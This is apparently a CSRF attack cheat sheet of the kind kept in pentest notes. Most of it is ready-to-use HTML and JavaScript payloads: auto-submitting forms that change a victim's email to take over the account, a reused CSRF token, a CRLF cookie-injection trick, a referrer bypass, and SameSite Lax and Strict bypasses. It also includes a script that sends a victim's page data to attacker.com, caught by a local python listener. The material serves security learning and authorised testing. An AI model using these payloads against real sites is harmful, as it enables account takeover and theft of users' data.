CSRF (Cross-Site Request Forgery)

CSRF is an attacking methodology that forces an end user to execute unexpected actions on a web application. CSRF is an attack against a user's web browser.

Account Takeover

If the victim user access to the page where the payload put in, the victim account information will be changed to the attacker's information e.g. Email address or Username.

<form method="POST" action="https://example.com/change-email">
    <input type="hidden" name="email" value="attacker@attack.com">
</form>
<script>
    document.forms[0].submit();
</script>

CSRF Token Bypass

Below is to bypass CSRF token by using another CSRF token that we get.

<form method="POST" action="https://example.com/change-email">
    <input type="hidden" name="email" value="attacker@attack.com">
    <input type="hidden" name="csrf" value="PqORuKZMr9zIJxpZC2cA8BgHuQGVkW8h">
</form>
<script>
    document.forms[0].submit();
</script>
<form method="POST" action="https://example.com/change-email">
    <input type="hidden" name="email" value="attacker@attack.com">
</form>
<img src="https://example.com/?search=attack%0d%0aSet-Cookie: csrf=fake" onerror="document.forms[0].submit();">

Referrer Validation

Referrer validation may be enabled depending on the website.
If so, we can try to bypass the validation by manipulating the browser's session history stack.

<meta name="referrer" content="no-referrer">

<form method="POST" action="https://example.com/change-email">
    <input type="hidden" name="email" value="attacker@attack.com">
</form>
<script>
    // For referrer validation....
    history.pushState("", "", "/?example.com");

    document.forms[0].submit();
</script>


Reveal Another User Information

We can retrieve the information of the another user account which accesses to the web page where the payload inserted.
Most of the time, this attack can be executed if the web page allows us to XSS.

Force Requesting to Our Server

Start web server in local machine for looking at the access log information.

sudo python3 -m http.server 80

Now send POST request with the victim's information in the target website.
For example, assume the target web page contains the current logged-in user information in the element of the id named "userinfo".

<script>
var secret = document.getElementById('userinfo');
var request = new XMLHttpRequest();
request.open('GET', 'http://attacker.com/' + secret, false);
request.send();
</script>

After a while, we can retrieve access logs contain the information of victims in local machine.


Bypass SameSite Restriction

Reference: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions

If the SameSite restriction is set as below, we need to bypass it to perform CSRF.

Set-Cookie: session=abcdef; SameSite=Strict

If it’s not set, SameSite=Lax is set by default.

Lax

The Lax is set in the SameSite by default if the website does not specify the SameSite value in the Cookie. It restricts the GET method only so we cannot use POST method in the payload. However, we can overwrite this method in the GET parameter by as below.

https://example.com/change-email?email=evil@evil.com&_method=POST

So our CSRF payload as the following:

<script>
document.location = "https://example.com/change-email?email=evil@evil.com&_method=POST"
</script>

Encode the URL value if necessary. (URL encoding)

Strict

If the Strict is set as the SameSite value, we cannot send any cross-site requests. However, we may be able to perform CSRF by using redirects. For example, when we send a comment in a blog page, we see the message such as "Thank you for your message" in the result page then redirect to the post page.

<script>
document.location = "https://example.com/post/comment/confirmation?postId=1/../change-email?email=evil@evil.com"
</script>

Encode the URL value if necessary. (URL encoding)